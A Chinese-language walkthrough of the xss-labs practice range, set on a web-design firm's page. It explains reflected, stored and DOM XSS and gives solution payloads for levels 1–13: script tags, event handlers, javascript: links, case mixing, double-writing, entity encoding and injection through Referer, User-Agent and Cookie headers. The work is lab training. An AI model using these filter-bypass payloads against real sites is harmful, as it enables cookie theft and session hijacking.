尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
靶场:xss-labs 实战分析
一篇打通xss-labs环境PHP 7.3.4 MySQL 5.7.26 |靶场xss-labs |文档整理日期2026-09-021.0 概述1.1 XSS 跨站脚本攻击XSSCross-Site Scripting跨站脚本攻击是指攻击者往网页注入恶意 JavaScript 代码其他用户访问页面时脚本自动执行从而窃取用户信息、劫持会话、篡改页面、诱导跳转钓鱼等。核心成因前端或后端渲染未对用户输入进行过滤直接把输入渲染到页面中执行。1.2 三大分类①存储型 XSS持久型危害最大恶意代码存入服务器数据库所有访问该页面的用户都会触发。常见场景评论区、留言板、帖子、个人简介。示例Payloadscriptalert(document.cookie)/script②反射型 XSS非持久型后端直接把参数如 keyword拼到页面展示打开特制链接即触发脚本不存入后端。恶意代码放在 URL 参数里点开链接才触发。③ DOM型 XSS漏洞完全发生在前端 JavaScript数据不经过后端后端无日志记录。原理JS 直接从 URL、location.hash 获取数据并插入 DOM。示例代码document.getElementById(tip).innerHTML search;2.0 XSS 实战2.1 XSS 绕过决策树① HTML标签之间输入被放在标签内容区div你的输入/div → 直接插入标签或事件scriptalert(1)/scriptimg srcx onerroralert(1)svg onloadalert(1)② HTML属性值内输入被放在属性 value中input value你的输入 → 用 闭合 value 属性再用事件触发 onclickalert(1) ③ JavaScript代码内输入被拼进 JSscriptvar name你的输入;/script → 闭合 JS 字符串; alert(1); //; alert(1); //④ href属性内输入被放在链接地址中a href你的输入link/a → 使用 javascript 伪协议javascript:alert(1)2.2 标准验证 Payload出现弹窗即说明存在 XSS 漏洞。攻击向量Payloadscript 标签scriptalert(1)/scriptimg 事件img srcx onerroralert(1)鼠标点击事件 onclickalert(1)a 伪协议a hrefjavascript:alert(1)click/a2.3 xss-labs 通关实战Level 1 直接注入无任何过滤的反射型直接输入即可通关scriptalert(1)/scriptLevel 2 属性内闭合测试 PayloadScriptOonn后续关卡均使用该 Payload 测试。 未被过滤但 Payload 仍在 value 属性内需用 提前闭合scriptalert(1)/scriptLevel 3 事件属性绕过 和 被编码无法使用标签改用鼠标点击事件 onclickonclickalert(1)输入框中写入 Payload 后点击触发事件过关。Level 4 事件属性绕过双引号闭合Payload 中的 被过滤使用与 Level 3 相同思路只需修改闭合符onclickalert(1)Level 5 a 伪协议script 和 on 关键字被过滤使用伪协议a hrefjavascript:alert(1)click/aLevel 6 大小写混合on 事件被过滤但大小写混合的 script 未过滤Scriptalert(1)/scriptLevel 7 双写绕过整个 script 均被过滤但 on 还剩一个说明只做一次过滤使用双写scscriptriptalert(1)/scscriptript原理源码只过滤一次 script 关键字双写刚好只剩一个完整的 script/script。Level 8 伪协议 实体化编码注入发生在 a href 中且 script 会被过滤使用实体编码将 s 编码#x73;再使用伪协议javascript:alert(1)Level 9 伪协议 标准格式将链接改为标准格式即可带 http:// 前缀以满足检查javascript:alert(http://baidu.com)Level 10 隐藏属性 事件属性主页无输入框且 keyword 参数不影响 value。通过源码可知传参点在 input 内。对 t_link、t_history、t_sort 三个字段分别传参测试确认注入点在 t_sort 字段click typebutton onclickalert(1)Level 11 Referer 请求头注入注入点在 t_ref且类似于 Request 的 Referer 字段用 Burp Suite 抓包测试。将 Request 中 Referer 字段值替换为 Payloadclick typebutton onclickalert(1)Level 12 User-Agent 请求头注入通过源码可知 t_ua 为 Request 中 User-Agent 字段同样使用 Burp Suite 抓包。将 User-Agent 字段值替换为 Payloadclick typebutton onclickalert(1)Level 13 Cookie 请求头注入通过源码可知 t_cook 为 Request 中 Cookie 字段同样使用 Burp Suite 抓包。将 Cookie 字段值替换为 Payloadclick typebutton onclickalert(1)2.4 总结关卡考察点Level 1、2无过滤反射型Level 3、4 被编码事件属性绕过Level 5a 伪协议Level 6大小写混合Level 7双写绕过Level 8、9伪协议 实体化编码Level 10隐藏属性 事件属性Level 11、12、13HTTP 协议 Request 请求头报文 隐藏属性 事件属性
RELATED

相关推荐

CP2102驱动安装与排查:从识别失败到稳定的usb转串口通信

CP2102驱动安装与排查:从识别失败到稳定的usb转串口通信

简介:CP2102 USB 转串口驱动面向 Windows 平台,适用于采用 CP2102 芯片的 USB 转 UART 设备,尤其适配 ESP32 等串口微控制器的下载与调试。设备出现无法识别、COM 口缺失或通信异常时,安装此驱动即可通过虚拟串口正常访问硬件&…

📅 2026/9/21 13:43:36
Blade Email:自定义发件人名称的开源邮件客户端解析

Blade Email:自定义发件人名称的开源邮件客户端解析

简介:Blade Email 是一款开源的电子邮件客户端,核心特色是允许用户使用任意名称和邮箱地址发送邮件,从而隐藏真实身份,满足隐私保护与匿名通信需求,支持 SMTP、IMAP、POP3 等常见邮件协议,特别适合关注网络…

📅 2026/10/25 14:51:10
LRA基准全解析:如何科学评估长序列模型的长程依赖能力

LRA基准全解析:如何科学评估长序列模型的长程依赖能力

简介:基于Google Research远程竞技场(LRA)基准测试的Python实现,面向希望快速上手LRA数据集并开展序列模型评估的研究者与开发者。资源用PyTorch和HuggingFace Transformers替代了原始代码中的Jax/Flax框架,既保留LRA官…

📅 2026/10/2 5:22:04
MORE NEWS

更多资讯

📰

2D 试衣间原型先拆边界:本地手势换装与 LLM 语义指令分别验证

“挥手换一件衣服”和“衣服贴合人体”不是同一个问题。前者可以是有限手势触发资源切换,后者需要人体定位、尺寸与遮挡处理。把两者混成一个 AI 试衣 Demo,容易让截图替代了能力说明。 这次只做可解释的 2D 原型 MediaPipe Hand Landmarker 返回手部关…

📰

Redis分布式锁+异步队列解决秒杀超卖实战

简介:面向高并发电商秒杀场景的Redis分布式锁实战示例,适合具备Spring Boot与Redis基础、希望理解抢单限流与库存一致性实现的Java开发者。内容围绕分布式锁加锁与释放、库存原子扣减、重复抢单与超卖防控、请求排队削峰及抢单结果状态返回等关键环节展开…

📰

TACACS+ Java客户端与服务端实现:从协议到运维审计

简介:这是一套基于Java实现的TACACS客户端与服务端源码资源,面向网络运维人员、Java开发者以及需要搭建AAA认证体系的工程师,帮助解决网络设备远程登录时的身份验证、授权和记账问题。压缩包共36个文件,整体约107KB,以…

📰

静态路由配置排错全攻略:下一跳与回程路由不再翻车

简介:这份课件为计算机网络课程“静态路由配置”实验配套教学PPT,针对高校网络工程、计算机等相关专业学生与授课教师,用于理解TCP/IP协议原理、IP地址分类与子网掩码计算,并掌握静态路由的基础配置方法。课件共1个pptx文件&#…

📰

基于Java的高校后勤报修系统:Spring Boot+Vue全栈设计与实现

简介:基于JavaWeb的高校后勤报修系统设计与实现文档,面向高校计算机专业毕业生、Java开发学习者及后勤信息化项目人员,针对传统人工报修管理效率低、数据处理滞后等问题,提供从需求分析、系统设计到功能测试的完整方案。文档以B/S…

📰

大模型推理优化:KV Cache原理、PagedAttention与GQA实战

1. 为什么每个搞大模型推理的人都绕不开 KV Cache如果你最近在折腾大模型本地部署,或者读过 vLLM、TensorRT-LLM、SGLang 这些推理框架的源码,一定见过KV Cache这个词。它不是什么新鲜概念,但绝对是决定推理速度和显存占用的头号选手。我第一…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬